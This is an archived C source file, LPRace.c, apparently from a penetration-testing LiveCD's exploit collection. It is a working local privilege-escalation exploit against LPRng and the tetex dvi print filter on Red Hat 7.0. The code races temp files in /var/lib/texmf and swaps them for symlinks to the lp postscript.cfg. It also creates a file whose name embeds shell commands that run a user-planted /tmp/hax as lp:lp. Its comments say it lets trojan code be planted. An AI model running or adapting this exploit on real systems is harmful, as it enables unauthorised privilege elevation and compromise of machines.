home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / lpd / LPRace.c < prev    next >
Encoding:
C/C++ Source or Header  |  2005-02-12  |  2.4 KB  |  88 lines
  1. /********************************************************************
  2. Redhat 7.0 (mebe 7.1 ?)
  3.  
  4. LPRng-3.7.4-23  (and earlier)  +  tetex-1.0.7-7   (and earlier?)
  5.  
  6.      Insecure tmp file privilege elevation vulnerability.
  7.  
  8. Allows uid/gid lp  and  root groups on LPRng-3.6.24 and earlier
  9. Please note:
  10.  
  11. -rwxr-xr-x    1 lp       lp         444472 Jun 14 22:05 /usr/bin/lpq*
  12. -rwxr-xr-x    1 lp       lp         441624 Jun 14 22:05 /usr/bin/lprm*
  13. -rwxr-xr-x    1 lp       lp         459160 Jun 14 22:05 /usr/bin/lpr*
  14. -rwxr-xr-x    1 lp       lp         448120 Jun 14 22:05 /usr/bin/lpstat*
  15. -rwxr-xr-x    1 lp       lp         448320 Jun 14 22:05 /usr/sbin/lpc*
  16.  
  17.  this program allows trojan code to be planted on the machine it is
  18.  executed on. 
  19.  
  20.  tmp file handling done badly in helper application (dvi print filter)
  21.  allows modification to lp config files.
  22.  the configuation file is sourced by the master print filter,
  23.  which is itself a shell script, each time something is printed.
  24.  this makes it possible to insert commands into the configuration file
  25.  by creating a special filename to be included in the file that 
  26.  is created. (see the close(open(" thingee )
  27.  
  28.  
  29. Redhat Bugzilla reference:-
  30.  
  31. https://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=43342
  32.  
  33.  --zen-parse 
  34.  
  35.  requires some fonts get made when its run.
  36.  probably won't be a problem unless someone
  37.  else has tried this exploit.
  38.  just wait 90 days for /var/lib/texmf to clear
  39.  and try again ;]
  40.  or try print something different
  41.  .dvi files are what does the trick.
  42.  
  43. ********************************************************************/
  44.  
  45. int shake()
  46. {
  47.  int f;
  48.  char r[1000];
  49.  int w;
  50.  f=fopen("/proc/loadavg","r");
  51.  fscanf(f,"%*s %*s %*s %*s %s",r);
  52.  fclose(f);
  53.  w=atoi(r);
  54.  return w;
  55. }
  56. void cow(char *s,char *t,int ofs)
  57. {
  58.  sprintf(s,"/var/lib/texmf/lsR%d.tmp",ofs);
  59.  sprintf(t,"%s/lsR%d.tmp",s,ofs);
  60. }
  61.  
  62. main()
  63. {
  64.  char s[1000];
  65.  char t[1000];
  66.  int y,i;
  67.  printf("Put the stuff to run as lp:lp in /tmp/hax\n");
  68.  printf("the lpr /usr/share/aspe<tab>/manual.dvi\n");
  69.  printf("when the ! comes up, wait a second, then press control-C.\n\n");
  70.  printf("Then print something.\n\n\n");
  71.  close(open("/var/lib/texmf/cd ..\ncd ..\ncd ..\ncd ..\ncd ..\ncd ..\ncd tmp\nexport PATH=.\nhax\nexit 0",65,0666));
  72.  while(1)
  73.  {
  74.   i=shake();
  75.   for(y=-30;y<0;y++)
  76.   {
  77.    cow(s,t,y+i);
  78.    if(!access(t,0))
  79.    { 
  80.     printf("!\n");
  81.     unlink(t);
  82.     symlink("/var/spool/lpd/lp/postscript.cfg",t);
  83.     sleep(1);
  84.    }
  85.   }
  86.  }
  87. }
  88.